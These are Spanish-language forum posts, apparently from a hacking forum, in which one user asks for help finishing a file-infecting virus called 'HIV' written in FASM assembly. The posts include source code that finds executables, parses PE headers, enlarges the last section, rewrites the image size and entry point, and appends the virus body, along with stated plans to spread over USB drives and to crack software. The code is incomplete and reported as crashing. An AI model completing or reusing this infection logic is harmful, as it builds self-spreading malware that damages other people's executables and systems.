Mensajes

Ok. Gracias por la respuesta. Puedes decirme en que parte del PE Header modifico el tamaño? O sera que el Cargador de Windows suma los tamaños de cada sección más el tamaño de las cabe eras???

Esa pagina llamada vxheavens ya la habia visitado antes, y tambien estoy leyendo unos cuantos sources de virus para ver que es lo que modifican en el PE Header. Vxheavens aparentemente está algo antigua, porque he encontrado tutorialez del año 1998, y algunoz cuantos del 2004.

Seria muy bueno que el foro elhacker tuviese sources de virus asi como los tiene vxheavens, aunque no se si tendrían problemas legales.

Hola, no sé si este será un buen lugar para dejar mi post, pero deberían de completar la wiki. Podría colaborarles a completarla en cuanto aprenda bastante, porque hace falta que todos los conocimientos que están albergados en este foro sean compilados en un solo lugar, facil de ubicar, que permita a los principiantes iniciar en la creacion de malware y hacking en general(propositos educativos).

Hola, estoy desarrollando mi primer virus simple. El virus se añade al final de la ultima sección del ejecutable, (.text). Pero hay problema, el tamaño que esta guardado dentro del ejecutable (según mi herramienta CFF Explorer VIII, hecha por NTCore) no coincide con su tamaño fisico. Yo sé que existe algo llamado tamaño fisico (physical size) y tamaño virtual (virtual size).

He leido bastante la documentacion de Microsoft, no he podido encontrar como modificar y establecer correctamente los valores de esos campos, ni siquiera sé en donde están posicionados dentro de la cabeceras internas del ejecutable porque no puedo verlos usando mi herramienta (comentada anteriormente).

Si alguien pudiera decirme en que offset estan esos campos y como modificarlos adecuadamente para reflejar los cambios hechos por mi virus, estaría muy agradecido.

Gracias de antemano por sus respuestas.

[Eternal Idol]

Ah, no sabía que EDI era indeterminado, y también desconocía que EDX es modificado por MessageBox. Gracias por decirme cuales eran los errores de mi codigo, Eternal Idol.

Yo ya sabía que solo modificaba un buffer en memoria, lo que pasa es que luego volcaré el contenido del buffer al disco, sobreescribiendo los datos viejos y de esa forma actualizar el PE header y demas cabeceras. Solo que aun no implementado la funcion de escritura que haga ese trabajo.

Gracias por tu ayuda, Eternal Idol. Tendré que leerme un buen manual de depuracion con OllyDbg, porque al parecer cometo unos cuantos errores de novato...XD. Bueno, supongo que si algo ocurre puedo volver aquí, ¿o no?

Perdón por las molestias causadas.

Hola, sé que ya he publicado otro post anterior, pero he decidido abrir uno nuevo en donde pueda explicar mejor mi problema. Antes que nada, el codigo está escrito en FASM, para que lo puedan compilar. El problema está en la rutina infect_file. Cuando llega al punto de modificar el PE Header en memoria, falla.

Lo he comentado en ingles, porque pienso que es mejor. No sé si será algun impedimento para que me puedan ayudar. Por favor, es lo unico que me falta para terminar mi proyecto de malware. Gracias por sus respuestas

Código (asm) [Seleccionar] Expandir


;This is a stub of the HIV virus.
;It works properly. This is only the infection routines.

;The idea is make the infection module here, and after glue it with
;the payload and another modules.

;The infection module must explore all USB removable drives
;and search in them for executables to infect.

format pe console 4.0
include 'C:\fasm\INCLUDE\WIN32AX.INC'

virus_size_before_compilation equ (end_of_file-main)
GENERIC_READWRITE equ 0C0000000h

; Declare a macro to make buffers
macro dup label,lcount
{ forward
   label#:
   common
    repeat lcount
   forward
    db      0
   common
    end repeat }


section '.text' readable writable executable

main:
    call delta
delta:
    pop ebp
    sub ebp, delta

adjust_datasegment:
    ;push cs
    ;pop ds
    ;push cs
    ;pop es

explore_directory:
                         ;Push parameters for the function
    push FIND_STRUCT     ;Put in the stack the address of FIND_STRUCT
    push file_extension  ;File extension
    call [FindFirstFileA]   ; find the first *.fly
                        ;Always, remember that the API address can be founded using
                        ;brackets in the API name, like this [FindFirstFile]

    ;invoke      FindFirstFile,file_extension, FIND_STRUCT

    mov dword [find_handle], eax ;Save find handler returned by FindFirstFile

find_more_files:
    cmp eax, 0
    je exit
    call infect_file

findnextfile:

    push FIND_STRUCT
    push dword[find_handle] ;I believe that the FindNextFile function expects
                            ;the address of the find_handle, instead its value.
    call [FindNextFile]
    ;invoke FindNextFile, dword [find_handle], FIND_STRUCT
    jmp find_more_files

infect_file:
    ;-----------------------------------------------------------------------
    ;When you work with files, You must be sure that the file was
    ;successfully opened. If you use an incorrect or invalid mode opening,
    ;you'll see that you can not retrieve data from the file. To see if
    ;you've really recovered bytes from the file, type in the file a text
    ;string and show it using MessageBox API.
    ;------------------------------------------------------------------------

    ;invoke  CreateFile, cFileName, 4, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
    ;invoke  WriteFile, eax, sign, 22, byteswritten, 0
    ;invoke  CloseHandle, eax

    ;I use the 4 for the open mode because it means "Read/Write".
    ;I open the file and Get its filesize for later use.
    ;The handle was stored in eax by the API

    invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
    mov [file_handle], eax

    ;I get the filesize of the host, and move it to a variable.
    ;This data could be interesting in a near future
    invoke GetFileSize, [file_handle], 0
    mov [host_size], eax

    ;Calculates the possible new size of the executable
    ;add eax, virus_size
    ;mov [infected_size], eax

    ;Read 8000 bytes from the file
    invoke  ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file

    ;Debugging purpouses.
    invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing               the text
    invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK

    ;You must verify that the API has successfully opened and read bytes from the file
    invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK

    lea edx, [buffer]       ;Load in edx the address of buffer
                            ;I use the edx register as a pointer to the buffer.

                            ;Now I am in the DOS header.
    cmp word [edx], "MZ"    ;Check if the file is a real executable
    jnz bad_executable
    add edx, [edx+60]       ;This instruction modify the pointer.
                            ;Now the edx register points to a position
                            ;60 bytes (3C in hex) after the begin of buffer
                            ;Now I am in the PE Header

    cmp word [edx], "PE"    ;I check if the executable has a valid PE header
                            ;This is very useful to know if I am infecting
                            ;an old DOS program instead a Win32 executable.
    jnz bad_executable
    call good_executable

    ;After this point, the program crashes in somewhere of the code
    mov esi, edx ; esi = peheader
    add esi, 120 ; esi = dirheader
    mov eax, [edx+116] ; eax = number of dir entries
    shl eax, 3 ; eax = eax*8
    add esi, eax ; esi = first section header
    movzx eax, word [edx+6] ; eax = number of sections
    dec eax ; eax = eax-1
    imul eax,eax,40
    add esi, eax ; esi = ptr to last section header
    or byte [esi+39], 0F0h ; give section necessary rights
    mov ecx, virus_size ; ecx = size of virus
    mov ebx, [esi+16] ; ebx = physical size of section
    add [esi+16], ecx ; increase section physical size
    add [esi+8], ecx ; increase section virtual size
    push dword [esi+8] ; push section virtual size
    pop dword [edx+80] ; imagesize = section virtual size
    mov eax, [esi+12] ; eax = section rva
    add [edx+80], eax ; add it to the imagesize
    add edi, [esi+20] ; edi = section offset
    add edi, ebx ; edi = end of section
    add eax, ebx ; eax = rva of virus
    xchg [edx+40], eax ; swap it with old entrypoint
    add eax, [edx+52] ; add imagebase to it
    mov [ebp+OldEip], eax ; save it
    lea esi, [ebp+main] ; esi = virus start
    rep movsb ; edi = ptr to end of file
    clc ; indicate sucess

    invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK

    ret

good_executable:
    invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
    ret

bad_executable:
    invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
    ret



exit:
    invoke ExitProcess, 0

;----------------------------------------------------------------------
;   In this place you can find all variables and constants used
;by the HIV virus. Please, always try to put the needed variables here
;-----------------------------------------------------------------------

datazone:
    ;This buffer will store parts of the whole file.
    buffer rb 8000

    ;Strings zone...
    end_message db 'The file was sucessfully infected...', 0
    msg_found  db      'I have found a Real EXE!!!...', 0
    msg_not_found db  'The current exe file is invalid...', 0
    file_signal db 'X'
    end_msg     db      'End of program', 0
    msg         db      'File founded', 0
    msg_caption db      'Assembly program...', 0
    sign        db      'Sorry, You have HIV...', 0
    byteswritten dd      ?
    bytesread    dd      ?

    ;Variables needed by the infection function
    file_handle  dd      ?
    host_size dd ?
    map_handle dd ?
    infected_size dd ?
    virus_size dd virus_size_before_compilation
    OldEip  dd  ?

    ;Variables used by the FindFirstFile and FindNextFile
    file_extension db '*.fly', 0
    find_handle     dd 0              ; handles/other stuff..
    FIND_STRUCT:                      ; find structure used with searching
        dwFileAttributes    dd 0
        ftCreationTime      dd 0,0
        ftLastAccessTime    dd 0,0
        ftLastWriteTime     dd 0,0
        nFileSizeHigh       dd 0
        nFileSizeLow        dd 0
        dwReserved0         dd 0
        dwReserved1         dd 0
        dup         cFileName, 256        ; found file buffer
        dup         cAlternate, 14
end_of_file:

.end main



[cpuz]

cpuz , estoy trabajando en x86. Usé el codigo que me dio Eternal Idol, pero mi programa falla de nuevo. No sé si necesito permisos para cambiar los registros de segmento. Bueno, si tu dices que necesito permisos, será reescribir el codigo de nuevo y evitar usar esos registros.

Código (asm) [Seleccionar] Expandir


push cs
pop ds
push cs
pop es


A mí no me funciono. Estoy compilando con FASM, y compila bien. Pero en tiempo de ejecucion falla. Aqui dejo el codigo completo:

Código (asm) [Seleccionar] Expandir


format pe console 4.0
include 'C:\fasm\INCLUDE\WIN32AX.INC'

section '.text' readable writable executable

virus_size_before_compilation equ (end_of_file-main)

main:
    invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
    mov [file_handle], eax

    ;I get the filesize of the host, and move it to a variable.
    ;This data could be interesting in a near future
    invoke GetFileSize, [file_handle], 0
    mov [host_size], eax

    ;Calculates the possible new size of the executable
    ;add eax, virus_size
    ;mov [infected_size], eax

    ;Read 8000 bytes from the file
    invoke  ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file

    ;Debugging purpouses.
    invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing               the text
    invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK

    ;You must verify that the API has successfully opened and read bytes from the file
    invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK

    lea edx, [buffer]       ;Load in edx the address of buffer
                            ;I use the edx register as a pointer to the buffer.

                            ;Now I am in the DOS header.
    cmp word [edx], "MZ"    ;Check if the file is a real executable
    jnz bad_executable
    add edx, [edx+60]       ;This instruction modify the pointer.
                            ;Now the edx register points to a position
                            ;60 bytes (3C in hex) after the begin of buffer
                            ;Now I am in the PE Header

    cmp word [edx], "PE"    ;I check if the executable has a valid PE header
                            ;This is very useful to know if I am infecting
                            ;an old DOS program instead a Win32 executable.
    jnz bad_executable
    call good_executable

    ;First, make a routine that verifies that the DS:ESI and ES:EDI
    ;pair of segments are correct and they points to the Code Segment
    push cs
    pop ds
    push cs
    pop es

    invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK

    ret

good_executable:
    invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
    ret

bad_executable:
    invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
    ret

datazone:
    cFileName db 'test.exe', 0
    ;This buffer will store parts of the whole file.
    buffer rb 8000

    ;Strings zone...
    end_message db 'The file was sucessfully infected...', 0
    msg_found  db      'I have found a Real EXE!!!...', 0
    msg_not_found db  'The current exe file is invalid...', 0
    file_signal db 'X'
    end_msg     db      'End of program', 0
    msg         db      'File founded', 0
    msg_caption db      'Assembly program...', 0
    sign        db      'Sorry, You have HIV...', 0
    byteswritten dd      ?
    bytesread    dd      ?

    ;Variables needed by the infection function
    file_handle  dd      ?
    host_size dd ?
    map_handle dd ?
    infected_size dd ?
    virus_size dd virus_size_before_compilation
    OldEip  dd  ?
end_of_file:
.end main


Gracias Eternal Idol, sé que debí ser un poco más especifico y comentar más acerca de mi problema, pero no sé si al explicar un poco más mi problema, la gente no responda y no quiero que piensen que soy vago o que no estoy trabajando por una solucion.

Ah, la solucion que me brindaste ya la había probado antes, y aún así mi programa falló. Ahora pienso que debe haber otra cosa que está mal en mi codigo. Por ahora no preguntaré más, para no saturar el foro de preguntas mías.

Gracias por tu respuesta.

Ups!!! Perdón. Yo había mirado mucha veces ese panel, pero jamás me había dado cuenta que allí estaban. Un descuido lo comete cualquiera...XD. La próxima vez tendré más cuidado antes de preguntar.

Hola, estoy intentando crackear un programa y necesito, por razones particulares, ver el valor de los registros CS, DS, y ES. He intentado buscarlos en el panel de registros, pero solo se ven los de proposito general y nada más (algunos otros como MMX tambien se ven) pero los que necesito no se encuentran listados.

Por favor si saben algun metodo u otro depurador que me ayude a visualizar el contenido de los registros CS, DS, y ES, estaría muy agradecido. Gracias de antemano por sus respuestas.

Hola, estoy desarrollando un malware en ensamblador. Ya ha fallado varias veces cuando intento hacer una operacion que usa los registros ESI y EDI. Lo he analizado y he descubierto que los registros DS y ES no apuntan a los datos embebidos dentro del mismo segmento de codigo.

Por eso necesito que me ayuden un poco explicandome como hacer que los registros DS (Data Segment) y ES apunten hacia CS (Code Segment). Será que pueden darme un breve ejemplo en codigo de como hacerlo?? Gracias de antemano por sus respuestas.